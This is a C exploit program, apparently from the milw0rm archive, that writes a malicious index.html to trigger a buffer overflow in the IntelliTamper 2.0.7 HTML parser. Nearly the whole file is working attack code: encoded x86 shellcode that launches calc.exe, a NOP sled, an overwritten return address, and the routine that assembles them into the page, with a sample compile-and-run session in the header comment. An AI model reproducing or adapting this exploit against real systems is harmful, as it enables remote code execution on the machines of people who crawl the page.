79 lines
No EOL
3 KiB
C
79 lines
No EOL
3 KiB
C
/*
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IntelliTamper 2.0.7 (html parser) Remote Buffer Overflow
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Just a C version of Guido Landi's discovery.
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Written by r0ut3r (writ3r [at] gmail.com)
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kit:/home/r0ut3r/public_html # gcc -o intell intell.c
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kit:/home/r0ut3r/public_html # ./intell
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[+] Building payload
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[+] Success writing to index.html
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kit:/home/r0ut3r/public_html #
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*/
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#include <stdio.h>
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#include <string.h>
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#include <stdlib.h>
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int main(void)
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{
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FILE *fp;
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char payload[491]; /* 464 */
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/* calc.exe shellcode x86/alpha_mixed succeeded, final size 344 */
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unsigned char shellcode[] =
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"\xda\xc3\xd9\x74\x24\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a"
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"\x4a\x4a\x43\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a\x41\x58"
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"\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
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"\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b\x4c"
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"\x4d\x38\x47\x34\x45\x50\x43\x30\x43\x30\x4c\x4b\x51\x55\x47"
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"\x4c\x4c\x4b\x43\x4c\x44\x45\x42\x58\x45\x51\x4a\x4f\x4c\x4b"
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"\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x45\x51\x4a\x4b\x50"
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"\x49\x4c\x4b\x47\x44\x4c\x4b\x45\x51\x4a\x4e\x46\x51\x49\x50"
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"\x4d\x49\x4e\x4c\x4b\x34\x49\x50\x43\x44\x43\x37\x49\x51\x49"
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"\x5a\x44\x4d\x45\x51\x49\x52\x4a\x4b\x4c\x34\x47\x4b\x51\x44"
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"\x47\x54\x45\x54\x43\x45\x4d\x35\x4c\x4b\x51\x4f\x47\x54\x45"
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"\x51\x4a\x4b\x43\x56\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f"
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"\x45\x4c\x45\x51\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x43\x31\x4a"
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"\x4b\x4c\x49\x51\x4c\x51\x34\x43\x34\x48\x43\x51\x4f\x50\x31"
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"\x4c\x36\x45\x30\x51\x46\x42\x44\x4c\x4b\x51\x56\x46\x50\x4c"
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"\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b"
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"\x45\x38\x43\x38\x4b\x39\x4c\x38\x4c\x43\x49\x50\x43\x5a\x50"
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"\x50\x43\x58\x4a\x50\x4d\x5a\x45\x54\x51\x4f\x42\x48\x4c\x58"
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"\x4b\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4a\x47\x42\x43\x46"
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"\x5a\x51\x4c\x42\x57\x42\x49\x42\x4e\x42\x44\x42\x4f\x42\x57"
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"\x43\x43\x51\x4c\x43\x43\x44\x39\x43\x43\x43\x44\x43\x55\x42"
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"\x4d\x47\x43\x50\x32\x51\x4c\x43\x53\x45\x31\x42\x4c\x42\x43"
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"\x46\x4e\x45\x35\x44\x38\x42\x45\x43\x30\x45\x5a\x41\x41";
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char eip[4] = "\x23\x44\x06\x7d";
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char html[16] = "<a href='http://";
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char chtml[11] = "'>yahhh</a>";
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fp = fopen("index.html", "wb");
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if (fp == NULL)
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{
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perror("Failed opening index.html\n");
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return EXIT_FAILURE;
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}
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printf("[+] Building payload\n");
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memcpy(payload, html, sizeof(html));
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memset(payload+sizeof(html), 0x90, 116);
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memcpy(payload+sizeof(html)+116, shellcode, sizeof(shellcode));
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memcpy(payload+sizeof(html)+116+sizeof(shellcode)-1, eip, sizeof(eip));
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memcpy(payload+sizeof(html)+116+sizeof(shellcode)-1+sizeof(eip), chtml, sizeof(chtml));
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fprintf(fp, "%s", payload);
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if (fclose(fp) == 0)
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printf("[+] Success writing to index.html\n");
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else
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printf("[-] Failed writing to index.html\n");
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return 0;
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}
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// milw0rm.com [2008-07-23]
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